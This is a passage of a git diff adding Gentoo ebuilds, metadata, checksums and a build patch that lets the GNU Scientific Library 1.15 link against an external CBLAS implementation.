+	fi
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${MY_P}-cblas.patch
+	
+	cp "${FILESDIR}"/eselect.cblas.gsl "${T}"/
+	sed -i -e "s:/usr:${EPREFIX}/usr:" "${T}"/eselect.cblas.gsl || die
+	if [[ ${CHOST} == *-darwin* ]] ; then
+		sed -i -e 's/\.so\([\.0-9]\+\)\?/\1.dylib/g' \
+			"${T}"/eselect.cblas.gsl || die
+	fi
+}
+
+src_configure() {
+	if use cblas-external; then
+		export CBLAS_LIBS="$($(tc-getPKG_CONFIG) --libs cblas)"
+		export CBLAS_CFLAGS="$($(tc-getPKG_CONFIG) --cflags cblas)"
+	fi
+	econf \
+		--enable-shared \
+		--prefix=/opt/gsl \
+		--sysconfdir=/opt/gsl/etc \
+		$(use_with cblas-external cblas) \
+		$(use_enable static-libs static)
+}
+
+src_install() {
+	#default
+
+	find "${ED}" -name '*.la' -exec rm -f {} +
+
+	# take care of pkgconfig file for cblas implementation.
+	sed -e "s/@LIBDIR@/$(get_libdir)/" \
+		-e "s/@PV@/${PV}/" \
+		-e "/^prefix=/s:=:=${EPREFIX}:" \
+		-e "/^libdir=/s:=:=${EPREFIX}:" \
+		"${FILESDIR}"/cblas.pc.in > cblas.pc \
+		|| die "sed cblas.pc failed"
+}
+
+pkg_postinst() {
+	local p=cblas
+	local current_lib=$(eselect ${p} show | cut -d' ' -f2)
+	if [[ ${current_lib} == ${ESELECT_PROF} || -z ${current_lib} ]]; then
+		# work around eselect bug #189942
+		local configfile="${EROOT}"/etc/env.d/${p}/$(get_libdir)/config
+		[[ -e ${configfile} ]] && rm -f ${configfile}
+		eselect ${p} set ${ESELECT_PROF}
+		elog "${p} has been eselected to ${ESELECT_PROF}"
+	else
+		elog "Current eselected ${p} is ${current_lib}"
+		elog "To use ${p} ${ESELECT_PROF} implementation, you have to issue (as root):"
+		elog "\t eselect ${p} set ${ESELECT_PROF}"
+	fi
+}
diff --git a/sci-libs/gsl-empty/metadata.xml b/sci-libs/gsl-empty/metadata.xml
new file mode 100644
index 00000000..7ab2ed03
--- /dev/null
+++ b/sci-libs/gsl-empty/metadata.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+  <herd>sci</herd>
+  <longdescription lang="en">
+  The GNU Scientific Library (GSL) is a collection of routines for
+  numerical analysis. The routines are written from scratch by the GSL
+  team in C, and present a modern API for C programmers, while allowing
+  wrappers to be written for very high level languages.
+  
+  GSL includes data types and routines for complex numbers, vectors,
+  matrices, basic linear algebra subroutines (BLAS), eigensystems,
+  simulated annealing, minimization, root finding, pseudo-random
+  numbers, least-squares fitting, fast Fourier transforms (FFT),
+  differential equations, quadrature, Monte Carlo integration, special
+  functions, physical constants, and much more. 
+</longdescription>
+  <use>
+    <flag name="cblas-external">Link gsl with external cblas provided by
+    (<pkg>virtual/cblas</pkg>) instead of shipped internal version</flag>
+  </use>
+</pkgmetadata>
diff --git a/sci-libs/gsl/Manifest b/sci-libs/gsl/Manifest
new file mode 100644
index 00000000..c29b99c1
--- /dev/null
+++ b/sci-libs/gsl/Manifest
@@ -0,0 +1 @@
+DIST gsl-1.15.tar.gz 3281134 SHA256 85b907e57902e2b7606ef3aef960302ffdd13bd9dc5b8fcbfa75e4f0bf340ea3 SHA512 dcea557bcd34d4ee6d2c52741c2f95702e5e6110a99f033b412489b1930d21a40ead29392f754656375801d706df01199878263e856ca3081f9a514dc3299185 WHIRLPOOL 06ffffb83ea56cf6306878063770a117e096352dda3c3dd4a7526153bc770969f61e38fa08c02ec01335bd812581db15e4e5164a7da2363741179268cb393478
diff --git a/sci-libs/gsl/files/cblas.pc.in b/sci-libs/gsl/files/cblas.pc.in
new file mode 100644
index 00000000..a2580f85
--- /dev/null
+++ b/sci-libs/gsl/files/cblas.pc.in
@@ -0,0 +1,12 @@
+prefix=/usr
+exec_prefix=${prefix}
+libdir=/usr/@LIBDIR@
+includedir=${prefix}/include
+
+Name: cblas
+Description: GSL C Implementation of the Basic Linear Algebra Subprograms
+Version: @PV@
+URL: http://www.gnu.org/software/gsl
+Libs: -L${libdir} -lcblas
+Libs.private: -lm
+Cflags: -I${includedir}
diff --git a/sci-libs/gsl/files/eselect.cblas.gsl b/sci-libs/gsl/files/eselect.cblas.gsl
new file mode 100644
index 00000000..af6fee51
--- /dev/null
+++ b/sci-libs/gsl/files/eselect.cblas.gsl
@@ -0,0 +1,5 @@
+libgslcblas.so /usr/@LIBDIR@/libcblas.so
+libgslcblas.so.0 /usr/@LIBDIR@/libcblas.so.0
+libgslcblas.a /usr/@LIBDIR@/libcblas.a
+../blas/gsl/cblas.pc /usr/@LIBDIR@/pkgconfig/cblas.pc
+gsl/gsl_cblas.h /usr/include/cblas.h
diff --git a/sci-libs/gsl/files/gsl-1.15-cblas.patch b/sci-libs/gsl/files/gsl-1.15-cblas.patch
new file mode 100644
index 00000000..dd402f39
--- /dev/null
+++ b/sci-libs/gsl/files/gsl-1.15-cblas.patch
@@ -0,0 +1,286 @@
+diff -Nur gsl-1.15.orig/acx_cblas.m4 gsl-1.15/acx_cblas.m4
+--- gsl-1.15.orig/acx_cblas.m4	1970-01-01 01:00:00.000000000 +0100
++++ gsl-1.15/acx_cblas.m4	2011-07-28 22:16:03.000000000 +0100
+@@ -0,0 +1,60 @@
++AC_DEFUN([ACX_CBLAS],[
++  use_cblas=no
++  use_cblas_libs="-lcblas -lblas"
++  use_cblas_cflags=""
++
++  AC_ARG_WITH(cblas,
++	[AS_HELP_STRING([--with-cblas], [use external CBLAS library (default is no)])])
++
++  case $with_cblas in
++	yes) use_cblas=yes ;;
++	no | "" ) use_cblas=no ;;
++	-* | */* | *.a | *.so | *.so.* | *.o) use_cblas_libs="$with_cblas" ;;
++	*) use_cblas_libs="-l$with_cblas" ;;
++  esac
++
++  AC_ARG_WITH(cblas-libs,
++	[AS_HELP_STRING([--with-cblas-libs=<libs>],
++	 [external cblas libraries to link with (default is "$use_cblas_libs")])],
++	[use_cblas_libs=$withval], [])
++
++  AC_ARG_WITH(cblas-cflags,
++	[AS_HELP_STRING([--with-cblas-cflags=<flags>],
++	 [extra cflags to compile with external cblas ("-I<dir>")])],
++	[use_cblas_cflags=$withval], [])
++
++  if test x$use_cblas != xno; then
++	if test "x$CBLAS_LIBS" = x; then
++		CBLAS_LIBS="$use_cblas_libs"
++     	fi
++     	if test "x$CBLAS_FLAGS" = x; then
++       		CBLAS_CFLAGS="$use_cblas_cflags"
++   	fi
++
++   	CFLAGS_sav="$CFLAGS"
++   	CFLAGS="$CFLAGS $CBLAS_CFLAGS"
++   	AC_CHECK_HEADER(cblas.h, ,
++		[AC_MSG_ERROR([
++	   	*** Header file cblas.h not found.
++	   	*** If you installed cblas header in a non standard place,
++	   	*** specify its install prefix using the following option
++	   	***  --with-cblas-cflags="-I<include_dir>"])
++	 	])
++   	CFLAGS="$CFLAGS_sav"
++
++   	LIBS_sav="$LIBS"
++   	LIBS="$LIBS $CBLAS_LIBS -lm"
++   	AC_MSG_CHECKING([for cblas_sgemm in $CBLAS_LIBS])
++   	AC_TRY_LINK_FUNC(cblas_sgemm, [use_cblas=yes],
++    		[AC_MSG_ERROR([
++	    	*** Linking with cblas with $LIBS failed.
++       	    	*** If you installed cblas library in a non standard place,
++   	    	*** specify its install prefix using the following option
++	    	***  --with-cblas-libs="-L<lib_dir> -l<lib>"])
++	 	])
++   	AC_MSG_RESULT($use_cblas)
++   	LIBS="$LIBS_sav"
++	AC_SUBST(CBLAS_CFLAGS)
++	AC_SUBST(CBLAS_LIBS)
++ fi
++])
+diff -Nur gsl-1.15.orig/bspline/Makefile.am gsl-1.15/bspline/Makefile.am
+--- gsl-1.15.orig/bspline/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/bspline/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -12,6 +12,6 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgslbspline.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../cblas/libgslcblas.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ../statistics/libgslstatistics.la
++test_LDADD = libgslbspline.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la @CBLAS_LINK_LIBS@ ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la ../statistics/libgslstatistics.la
+ 
+ test_SOURCES = test.c
+diff -Nur gsl-1.15.orig/configure.ac gsl-1.15/configure.ac
+--- gsl-1.15.orig/configure.ac	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/configure.ac	2011-07-28 22:16:03.000000000 +0100
+@@ -190,6 +190,16 @@
+   AC_CHECK_LIB(m, cos)
+ fi
+ 
++sinclude(acx_cblas.m4)
++ACX_CBLAS
++if test "x$CBLAS_LIBS" != "x"; then
++   CBLAS_LINK_LIBS="$CBLAS_LIBS"
++else
++   CBLAS_LINK_LIBS="\$(top_builddir)/cblas/libgslcblas.la"
++   CBLAS_LIBS="-lgslcblas"
++fi
++AC_SUBST(CBLAS_LINK_LIBS)
++
+ dnl Remember to put a definition in acconfig.h for each of these
+ AC_CHECK_DECLS(feenableexcept,,,[#define _GNU_SOURCE 1
+ #include <fenv.h>]) 
+diff -Nur gsl-1.15.orig/eigen/Makefile.am gsl-1.15/eigen/Makefile.am
+--- gsl-1.15.orig/eigen/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/eigen/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -11,7 +11,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgsleigen.la  ../test/libgsltest.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la  ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../sys/libgslsys.la ../err/libgslerr.la ../utils/libutils.la ../rng/libgslrng.la ../sort/libgslsort.la
++test_LDADD = libgsleigen.la  ../test/libgsltest.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la  ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../sys/libgslsys.la ../err/libgslerr.la ../utils/libutils.la ../rng/libgslrng.la ../sort/libgslsort.la
+ 
+ test_SOURCES = test.c
+ 
+diff -Nur gsl-1.15.orig/gsl-config.in gsl-1.15/gsl-config.in
+--- gsl-1.15.orig/gsl-config.in	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/gsl-config.in	2011-07-28 22:16:03.000000000 +0100
+@@ -58,11 +58,11 @@
+ 	;;
+ 
+     --cflags)
+-       	echo @GSL_CFLAGS@ 
++       	echo @GSL_CFLAGS@ @CBLAS_CFLAGS@ 
+        	;;
+ 
+     --libs)
+-        : ${GSL_CBLAS_LIB=-lgslcblas}
++        : ${GSL_CBLAS_LIB=@CBLAS_LIBS@}
+ 	echo @GSL_LIBS@ $GSL_CBLAS_LIB @GSL_LIBM@
+        	;;
+ 
+diff -Nur gsl-1.15.orig/gsl.pc.in gsl-1.15/gsl.pc.in
+--- gsl-1.15.orig/gsl.pc.in	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/gsl.pc.in	2011-07-28 22:20:14.000000000 +0100
+@@ -2,7 +2,7 @@
+ exec_prefix=@exec_prefix@
+ libdir=@libdir@
+ includedir=@includedir@
+-GSL_CBLAS_LIB=-lgslcblas
++GSL_CBLAS_LIB=@CBLAS_LIBS@
+ 
+ Name: GSL
+ Description: GNU Scientific Library
+diff -Nur gsl-1.15.orig/interpolation/Makefile.am gsl-1.15/interpolation/Makefile.am
+--- gsl-1.15.orig/interpolation/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/interpolation/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -10,7 +10,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgslinterpolation.la ../poly/libgslpoly.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../cblas/libgslcblas.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslinterpolation.la ../poly/libgslpoly.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la @CBLAS_LINK_LIBS@ ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ test_SOURCES = test.c
+ 
+diff -Nur gsl-1.15.orig/linalg/Makefile.am gsl-1.15/linalg/Makefile.am
+--- gsl-1.15.orig/linalg/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/linalg/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -12,7 +12,7 @@
+ 
+ check_PROGRAMS = test
+ 
+-test_LDADD = libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ test_SOURCES = test.c
+ 
+diff -Nur gsl-1.15.orig/Makefile.am gsl-1.15/Makefile.am
+--- gsl-1.15.orig/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -19,13 +19,12 @@
+ 
+ lib_LTLIBRARIES = libgsl.la
+ libgsl_la_SOURCES = version.c
+-libgsl_la_LIBADD = $(SUBLIBS)
++libgsl_la_LIBADD = $(SUBLIBS) @CBLAS_LINK_LIBS@
+ libgsl_la_LDFLAGS = -version-info $(GSL_LT_VERSION)
+ noinst_HEADERS = templates_on.h templates_off.h build.h
+ 
+ MINGW32_HOST = @MINGW32_HOST@
+ if MINGW32_HOST
+-libgsl_la_LIBADD += cblas/libgslcblas.la
+ libgsl_la_LDFLAGS += -no-undefined
+ endif
+ 
+@@ -35,10 +34,10 @@
+ bin_PROGRAMS = gsl-randist gsl-histogram
+ 
+ gsl_randist_SOURCES = gsl-randist.c
+-gsl_randist_LDADD = libgsl.la cblas/libgslcblas.la
++gsl_randist_LDADD = libgsl.la
+ 
+ gsl_histogram_SOURCES = gsl-histogram.c
+-gsl_histogram_LDADD = libgsl.la cblas/libgslcblas.la
++gsl_histogram_LDADD = libgsl.la
+ 
+ check_SCRIPTS = test_gsl_histogram.sh pkgconfig.test
+ TESTS = test_gsl_histogram.sh pkgconfig.test
+@@ -57,6 +56,8 @@
+ 	-e 's|@GSL_CFLAGS[@]|$(GSL_CFLAGS)|g' \
+ 	-e 's|@GSL_LIBM[@]|$(GSL_LIBM)|g' \
+ 	-e 's|@GSL_LIBS[@]|$(GSL_LIBS)|g' \
++	-e 's|@CBLAS_CFLAGS[@]|$(CBLAS_CFLAGS)|g' \
++	-e 's|@CBLAS_LIBS[@]|$(CBLAS_LIBS)|g' \
+ 	-e 's|@LIBS[@]|$(LIBS)|g' \
+ 	-e 's|@VERSION[@]|$(VERSION)|g'
+ 
+diff -Nur gsl-1.15.orig/multifit/Makefile.am gsl-1.15/multifit/Makefile.am
+--- gsl-1.15.orig/multifit/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/multifit/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -13,8 +13,8 @@
+ TESTS = $(check_PROGRAMS)
+ 
+ test_SOURCES = test.c
+-test_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la  ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la
++test_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la  ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la
+ 
+ #demo_SOURCES = demo.c
+-#demo_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../randist/libgslrandist.la ../rng/libgslrng.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la
++#demo_LDADD = libgslmultifit.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../randist/libgslrandist.la ../rng/libgslrng.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../utils/libutils.la ../sys/libgslsys.la
+ 
+diff -Nur gsl-1.15.orig/multimin/Makefile.am gsl-1.15/multimin/Makefile.am
+--- gsl-1.15.orig/multimin/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/multimin/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -13,8 +13,8 @@
+ TESTS = $(check_PROGRAMS) 
+ 
+ test_SOURCES = test.c test_funcs.c test_funcs.h
+-test_LDADD = libgslmultimin.la ../min/libgslmin.la ../poly/libgslpoly.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslmultimin.la ../min/libgslmin.la ../poly/libgslpoly.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../linalg/libgsllinalg.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ #demo_SOURCES = demo.c 
+-#demo_LDADD = libgslmultimin.la ../min/libgslmin.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../linalg/libgsllinalg.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++#demo_LDADD = libgslmultimin.la ../min/libgslmin.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../linalg/libgsllinalg.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+diff -Nur gsl-1.15.orig/multiroots/Makefile.am gsl-1.15/multiroots/Makefile.am
+--- gsl-1.15.orig/multiroots/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/multiroots/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -15,5 +15,5 @@
+ TESTS = $(check_PROGRAMS)
+ 
+ test_SOURCES = test.c test_funcs.c test_funcs.h
+-test_LDADD = libgslmultiroots.la ../linalg/libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslmultiroots.la ../linalg/libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../permutation/libgslpermutation.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+diff -Nur gsl-1.15.orig/ode-initval/Makefile.am gsl-1.15/ode-initval/Makefile.am
+--- gsl-1.15.orig/ode-initval/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/ode-initval/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -12,7 +12,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgslodeiv.la ../linalg/libgsllinalg.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../permutation/libgslpermutation.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la 
++test_LDADD = libgslodeiv.la ../linalg/libgsllinalg.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../permutation/libgslpermutation.la ../vector/libgslvector.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la 
+ 
+ test_SOURCES = test.c
+ 
+diff -Nur gsl-1.15.orig/poly/Makefile.am gsl-1.15/poly/Makefile.am
+--- gsl-1.15.orig/poly/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/poly/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -10,7 +10,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-check_PROGRAMS = test
++#check_PROGRAMS = test
+ 
+ test_SOURCES = test.c
+ test_LDADD = libgslpoly.la ../ieee-utils/libgslieeeutils.la ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+diff -Nur gsl-1.15.orig/specfunc/Makefile.am gsl-1.15/specfunc/Makefile.am
+--- gsl-1.15.orig/specfunc/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/specfunc/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -12,7 +12,7 @@
+ 
+ check_PROGRAMS = test
+ 
+-test_LDADD = libgslspecfunc.la ../eigen/libgsleigen.la ../linalg/libgsllinalg.la  ../sort/libgslsort.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslspecfunc.la ../eigen/libgsleigen.la ../linalg/libgsllinalg.la  ../sort/libgslsort.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../block/libgslblock.la ../complex/libgslcomplex.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ test_SOURCES = test_sf.c test_sf.h test_airy.c test_bessel.c test_coulomb.c test_dilog.c test_gamma.c test_hyperg.c test_legendre.c test_mathieu.c
+   
+diff -Nur gsl-1.15.orig/wavelet/Makefile.am gsl-1.15/wavelet/Makefile.am
+--- gsl-1.15.orig/wavelet/Makefile.am	2011-07-28 22:15:49.000000000 +0100
++++ gsl-1.15/wavelet/Makefile.am	2011-07-28 22:16:03.000000000 +0100
+@@ -10,7 +10,7 @@
+ 
+ TESTS = $(check_PROGRAMS)
+ 
+-test_LDADD = libgslwavelet.la ../blas/libgslblas.la ../cblas/libgslcblas.la ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
++test_LDADD = libgslwavelet.la ../blas/libgslblas.la @CBLAS_LINK_LIBS@ ../matrix/libgslmatrix.la ../vector/libgslvector.la ../block/libgslblock.la ../ieee-utils/libgslieeeutils.la  ../err/libgslerr.la ../test/libgsltest.la ../sys/libgslsys.la ../utils/libutils.la
+ 
+ test_SOURCES = test.c
+ 
diff --git a/sci-libs/gsl/gsl-1.15.ebuild b/sci-libs/gsl/gsl-1.15.ebuild
new file mode 100644
index 00000000..ef216e67
--- /dev/null
+++ b/sci-libs/gsl/gsl-1.15.ebuild
@@ -0,0 +1,109 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic autotools toolchain-funcs
+
+DESCRIPTION="The GNU Scientific Library"
+HOMEPAGE="http://www.gnu.org/software/gsl/"
+SRC_URI="mirror://gnu/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~x86-interix ~amd64-linux ~x86-linux ~x86-macos ~sparc-solaris ~x86-solaris"
+IUSE="cblas-external static-libs"
+
+RDEPEND="cblas-external? ( virtual/cblas )"
+DEPEND="${RDEPEND}
+	app-admin/eselect-cblas
+	virtual/pkgconfig"
+
+DOCS=( AUTHORS BUGS ChangeLog NEWS README THANKS TODO )
+
+pkg_pretend() {
+	if [[ ${MERGE_TYPE} != binary ]]; then
+		# prevent to use external cblas from a previously installed gsl
+		local current_lib
+		if use cblas-external; then
+			current_lib=$(eselect cblas show | cut -d' ' -f2)
+			if [[ ${current_lib} == gsl ]]; then
+				ewarn "USE flag cblas-external is set: linking gsl with an external cblas."
+				ewarn "However the current selected external cblas is gsl."
+				ewarn "Please install and/or eselect another cblas"
+				die "Circular gsl dependency"
+			fi
+		fi
+	fi
+}
+
+pkg_setup() {
+	ESELECT_PROF="gsl"
+
+	if [[ ${MERGE_TYPE} != binary ]]; then
+		# bug 349005
+		[[ $(tc-getCC)$ == *gcc* ]] && \
+			[[ $(tc-getCC)$ != *apple* ]] && \
+			[[ $(gcc-major-version)$(gcc-minor-version) -eq 44 ]] \
+			&& filter-mfpmath sse
+		filter-flags -ffast-math
+	fi
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${P}-cblas.patch
+	eautoreconf
+
+	cp "${FILESDIR}"/eselect.cblas.gsl "${T}"/
+	sed -i -e "s:/usr:${EPREFIX}/usr:" "${T}"/eselect.cblas.gsl || die
+	if [[ ${CHOST} == *-darwin* ]] ; then
+		sed -i -e 's/\.so\([\.0-9]\+\)\?/\1.dylib/g' \
+			"${T}"/eselect.cblas.gsl || die
+	fi
+}
+
+src_configure() {
+	if use cblas-external; then
+		export CBLAS_LIBS="$($(tc-getPKG_CONFIG) --libs cblas)"
+		export CBLAS_CFLAGS="$($(tc-getPKG_CONFIG) --cflags cblas)"
+	fi
+	econf \
+		--enable-shared \
+		$(use_with cblas-external cblas) \
+		$(use_enable static-libs static)
+}
+
+src_install() {
+	default
+
+	find "${ED}" -name '*.la' -exec rm -f {} +
+
+	# take care of pkgconfig file for cblas implementation.
+	sed -e "s/@LIBDIR@/$(get_libdir)/" \
+		-e "s/@PV@/${PV}/" \
+		-e "/^prefix=/s:=:=${EPREFIX}:" \
+		-e "/^libdir=/s:=:=${EPREFIX}:" \
+		"${FILESDIR}"/cblas.pc.in > cblas.pc \
+		|| die "sed cblas.pc failed"
+	insinto /usr/$(get_libdir)/blas/gsl
+	doins cblas.pc || die "installing cblas.pc failed"
+	eselect cblas add $(get_libdir) "${T}"/eselect.cblas.gsl \
+		${ESELECT_PROF}
+}
+
+pkg_postinst() {
+	local p=cblas
+	local current_lib=$(eselect ${p} show | cut -d' ' -f2)
+	if [[ ${current_lib} == ${ESELECT_PROF} || -z ${current_lib} ]]; then
+		# work around eselect bug #189942
+		local configfile="${EROOT}"/etc/env.d/${p}/$(get_libdir)/config
+		[[ -e ${configfile} ]] && rm -f ${configfile}
+		eselect ${p} set ${ESELECT_PROF}
